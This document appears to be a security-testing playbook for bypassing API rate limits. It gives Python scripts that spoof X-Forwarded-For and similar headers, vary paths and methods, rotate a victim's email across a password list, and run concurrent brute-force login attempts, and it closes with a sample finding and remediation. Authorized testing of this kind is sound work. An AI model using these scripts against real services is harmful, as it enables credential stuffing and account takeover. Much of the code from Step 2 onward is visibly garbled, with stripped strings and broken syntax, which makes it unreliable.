Performing API Rate Limiting Bypass
When to Use
- Testing whether API rate limiting can be circumvented to enable brute force attacks on authentication endpoints
- Assessing the effectiveness of API throttling controls against credential stuffing or account enumeration
- Evaluating if rate limits are enforced consistently across all API versions, methods, and encoding formats
- Testing if API gateway rate limiting can be bypassed through header manipulation or IP rotation
- Validating that rate limits protect against resource exhaustion and denial-of-service conditions
Do not use without written authorization. Rate limit testing involves sending high volumes of requests that may impact service availability.
Prerequisites
- Written authorization specifying target endpoints and acceptable request volumes
- Python 3.10+ with
requests, aiohttp, and asyncio libraries
- Burp Suite Professional with Turbo Intruder extension for high-speed testing
- cURL for manual header manipulation testing
- Knowledge of the target's CDN and WAF infrastructure (Cloudflare, AWS WAF, Akamai)
- List of rate-limit bypass headers to test
Workflow
Step 1: Rate Limit Discovery and Baseline
Identify how rate limiting is implemented:
import requests
import time
BASE_URL = "https://target-api.example.com/api/v1"
headers = {"Authorization": "Bearer <token>", "Content-Type": "application/json"}
def probe_rate_limit(endpoint, method="GET", count=100):
results = []
for i in range(count):
resp = requests.request(method, f"{BASE_URL}{endpoint}", headers=headers)
rate_headers = {
"limit": resp.headers.get("X-RateLimit-Limit") or resp.headers.get("X-Rate-Limit-Limit"),
"remaining": resp.headers.get("X-RateLimit-Remaining") or resp.headers.get("X-Rate-Limit-Remaining"),
"reset": resp.headers.get("X-RateLimit-Reset") or resp.headers.get("X-Rate-Limit-Reset"),
"retry_after": resp.headers.get("Retry-After"),
"status": resp.status_code
}
results.append(rate_headers)
if resp.status_code == 429:
print(f"Rate limited at request {i+1}: {rate_headers}")
return results, i+1
time.sleep(0.05)
print(f"No rate limit triggered after {count} requests")
return results, count
login_results, login_threshold = probe_rate_limit("/auth/login", "POST", 200)
api_results, api_threshold = probe_rate_limit("/users/me", "GET", 200)
search_results, search_threshold = probe_rate_limit("/search?q=test", "GET", 200)
print(f"\nRate Limit Summary:")
print(f" Login: Triggered at request {login_threshold}")
print(f" API: Triggered at request {api_threshold}")
print(f" Search: Triggered at request {search_threshold}")
Step 2: IP-Based Bypass Techniques
IP_SPOOFING_HEADERS = [
"X-Forwarded-For",
"X-Real-IP",
"X-Original-Forwarded-For",
"X-Originating-IP",
"X-Remote-IP",
"X-Remote-Addr",
"X-Client-IP",
"X-Host",
"X-Forwarded-Host",
"True-Client-IP",
"Cluster-Client-IP",
"X-ProxyUser-Ip",
"Forwarded",
"CF-Connecting-IP",
"Fastly-Client-IP",
"X-Azure-ClientIP",
"X-Akamai-Client-IP",
]
def test_ip_spoofing_bypass(endpoint, method="POST", body=None):
"""Test if IP spoofing headers bypass rate limiting."""
for i in range(200):
resp = requests.request(method, f"{BASE_URL}{endpoint}", headers=headers, json=body)
if resp.status_code == 429:
print(f"Rate limit triggered at request {i+1}")
break
bypasses_found = []
for header in IP_SPOOFING_HEADERS:
spoofed_headers = {**headers, header: f"10.0.{i%256}.{(i*)%}"}
resp = requests.request(method, , headers=spoofed_headers, json=body)
resp.status_code != :
bypasses_found.append(header)
()
bypasses_found
login_body = {: , : }
bypasses = test_ip_spoofing_bypass(, , login_body)
Step 3: Endpoint Variation Bypass
def test_path_variation_bypass(base_endpoint, token):
"""Test if path variations bypass rate limit tied to specific endpoint."""
variations = [
base_endpoint,
base_endpoint + "/",
base_endpoint.upper(),
base_endpoint + "?dummy=1",
base_endpoint + "#fragment",
base_endpoint + "%20",
base_endpoint + "/..",
base_endpoint.replace("/v1/", "/v2/"),
base_endpoint + ";",
base_endpoint + "\t",
base_endpoint + "%00",
base_endpoint + "..;/",
]
for i in range(200):
resp = requests.post(f"{BASE_URL}{base_endpoint}",
headers={"Authorization": f"Bearer {token}"},
json={"username": , : })
resp.status_code == :
variant variations:
:
resp = requests.post(,
headers={: },
json={: , : })
resp.status_code != :
()
Exception:
test_path_variation_bypass(, )
Step 4: HTTP Method and Content-Type Bypass
def test_method_bypass(endpoint, original_body):
"""Test if rate limit is method-specific."""
methods_to_test = ["POST", "PUT", "PATCH", "GET", "OPTIONS"]
content_types = [
"application/json",
"application/x-www-form-urlencoded",
"multipart/form-data",
"text/plain",
"application/xml",
"text/xml",
]
for i in range(200):
resp = requests.post(f"{BASE_URL}{endpoint}",
headers={**headers, "Content-Type": "application/json"},
json=original_body)
if resp.status_code == 429:
break
for method in methods_to_test:
if method == "POST":
continue
resp = requests.request(method, f"{BASE_URL}{endpoint}",
headers=headers, json=original_body)
if resp.status_code not in (429, 405):
print(f"[BYPASS] Method switch to : ")
ct content_types:
ct == :
test_headers = {**headers, : ct}
ct == :
data = .join( k, v original_body.items())
resp = requests.post(, headers=test_headers, data=data)
:
resp = requests.post(, headers=test_headers,
data=(original_body))
resp.status_code != :
()
test_method_bypass(, {: , : })
Step 5: Account-Level Bypass Techniques
import string
import random
def test_account_rotation_bypass(login_endpoint, target_password_list):
"""Test if rate limit is per-account, bypassed by rotating usernames."""
target_email = "victim@example.com"
email_variations = [
target_email,
target_email.upper(),
f" {target_email}",
f"{target_email} ",
target_email.replace("@", "%40"),
f"+tag@".join(target_email.split("@")),
]
for password in target_password_list[:50]:
for email_var in email_variations:
resp = requests.post(f"{BASE_URL}{login_endpoint}",
json={"username": email_var, "password": password})
if resp.status_code == 200:
print(f"[SUCCESS] Logged in with: {email_var} / {password}")
return True
elif resp.status_code == 429:
print(f"Rate limited on variation: {email_var}")
time.sleep()
():
i ():
random_param = .join(random.choices(string.ascii_lowercase, k=))
resp = requests.post(
,
headers=headers,
json={: , : }
)
resp.status_code == :
()
()
Step 6: Distributed and Async Testing
import asyncio
import aiohttp
async def distributed_rate_limit_test(endpoint, total_requests=1000, concurrency=50):
"""Test rate limiting under concurrent load."""
results = {"success": 0, "rate_limited": 0, "errors": 0}
async def make_request(session, request_num):
try:
req_headers = {
**headers,
"X-Forwarded-For": f"192.168.{request_num % 256}.{(request_num * 3) % 256}"
}
async with session.post(
f"{BASE_URL}{endpoint}",
headers=req_headers,
json={"username": "test@example.com", "password": f"attempt_{request_num}"}
) as resp:
if resp.status == 429:
results["rate_limited"] += 1
elif resp.status in (200, 401):
results["success"] +=
:
results[] +=
Exception:
results[] +=
connector = aiohttp.TCPConnector(limit=concurrency)
aiohttp.ClientSession(connector=connector) session:
tasks = [make_request(session, i) i (total_requests)]
asyncio.gather(*tasks)
()
()
()
()
()
Key Concepts
| Term | Definition |
|---|
| Rate Limiting | Controlling the number of requests a client can make to an API within a time window, typically enforced per IP, per user, or per API key |
| Unrestricted Resource Consumption | OWASP API4:2023 - APIs that do not properly limit the size or number of resources requested, enabling DoS or brute force attacks |
| X-Forwarded-For Spoofing | Manipulating the X-Forwarded-For header to make the server believe requests originate from different IP addresses, bypassing IP-based rate limits |
| Credential Stuffing | Automated injection of stolen username/password pairs against login endpoints, requiring rate limit bypass for large-scale attacks |
| Token Bucket | Rate limiting algorithm that allows bursts of requests up to a bucket size, refilling at a constant rate |
| Sliding Window | Rate limiting algorithm that tracks requests in a rolling time window, more resistant to burst attacks than fixed windows |
Tools & Systems
- Burp Suite Turbo Intruder: High-performance request sender for rate limit testing using Python-based scripting engine
- ffuf: Fast web fuzzer capable of testing rate limits with configurable request rates and header manipulation
- wfuzz: Web fuzzer with support for header injection, parameter fuzzing, and rate limit evasion techniques
- Postman Collection Runner: Automated collection execution with variable rotation for rate limit bypass testing
- Gatling/k6: Load testing tools that simulate realistic traffic patterns to test rate limiting under production-like conditions
Common Scenarios
Scenario: Login API Rate Limit Bypass Assessment
Context: A financial services API implements rate limiting on the login endpoint to prevent brute force attacks. The security team wants to verify the effectiveness of these controls before a compliance audit.
Approach:
- Baseline: Send 100 requests to
POST /api/v1/auth/login - rate limited at request 10 per minute per IP
- Test X-Forwarded-For rotation: Send 100 requests with unique X-Forwarded-For values - rate limit bypassed (all requests return 401, not 429)
- Test path variation:
/api/v1/auth/login/ (trailing slash) resets the rate limit counter
- Test API versioning:
/api/v2/auth/login has no rate limiting configured (shadow API)
- Test parameter pollution: Adding
?_=<random> to each request bypasses the rate limit
- Test concurrent requests: 50 simultaneous requests from same IP - 45 succeed before rate limit kicks in (race condition in counter)
- Determine that rate limiting is implemented at the nginx reverse proxy level using IP-only tracking, trusting X-Forwarded-For header without validation
Pitfalls:
- Sending too many requests too fast and causing actual denial of service to the test environment
- Not testing rate limits on password reset, MFA verification, and account enumeration endpoints
- Assuming the rate limit applies globally when it may be per-endpoint or per-method only
- Missing race conditions in rate limit counters that allow burst bypasses
- Not testing both authenticated and unauthenticated rate limiting separately
Output Format
## Finding: Rate Limiting Bypass via X-Forwarded-For Header Spoofing
**ID**: API-RATE-001
**Severity**: High (CVSS 7.3)
**OWASP API**: API4:2023 - Unrestricted Resource Consumption
**Affected Endpoints**:
- POST /api/v1/auth/login
- POST /api/v1/auth/forgot-password
- POST /api/v1/auth/verify-mfa
**Description**:
The API rate limiting implementation relies on the X-Forwarded-For header
to identify client IP addresses. Since the application sits behind a load
balancer that does not strip or validate this header, an attacker can set
arbitrary X-Forwarded-For values to bypass the 10 requests/minute rate limit
on authentication endpoints.
**Bypass Methods Confirmed**:
1. X-Forwarded-For rotation: 1000 login attempts in 60 seconds (vs 10 limit)
2. Trailing slash path variation: /auth/login/ treated as separate endpoint
3. API v2 endpoint: No rate limiting configured
4. Race condition: 50 concurrent requests, 45 succeed before counter updates
**Impact**:
An attacker can perform unlimited brute force attacks against any user
account, bypassing the rate limit designed to prevent credential stuffing.
At 1000 attempts per minute, a 6-digit PIN can be brute-forced in under
17 minutes.
**Remediation**:
1. Configure the load balancer to set X-Forwarded-For and strip client-provided values
2. Implement rate limiting at the application layer using authenticated user ID, not just IP
3. Normalize URL paths before applying rate limit rules (strip trailing slashes, enforce lowercase)
4. Apply rate limits consistently across all API versions and content types
5. Use atomic rate limit counters (Redis INCR) to prevent race conditions
6. Implement progressive delays (exponential backoff) in addition to hard limits
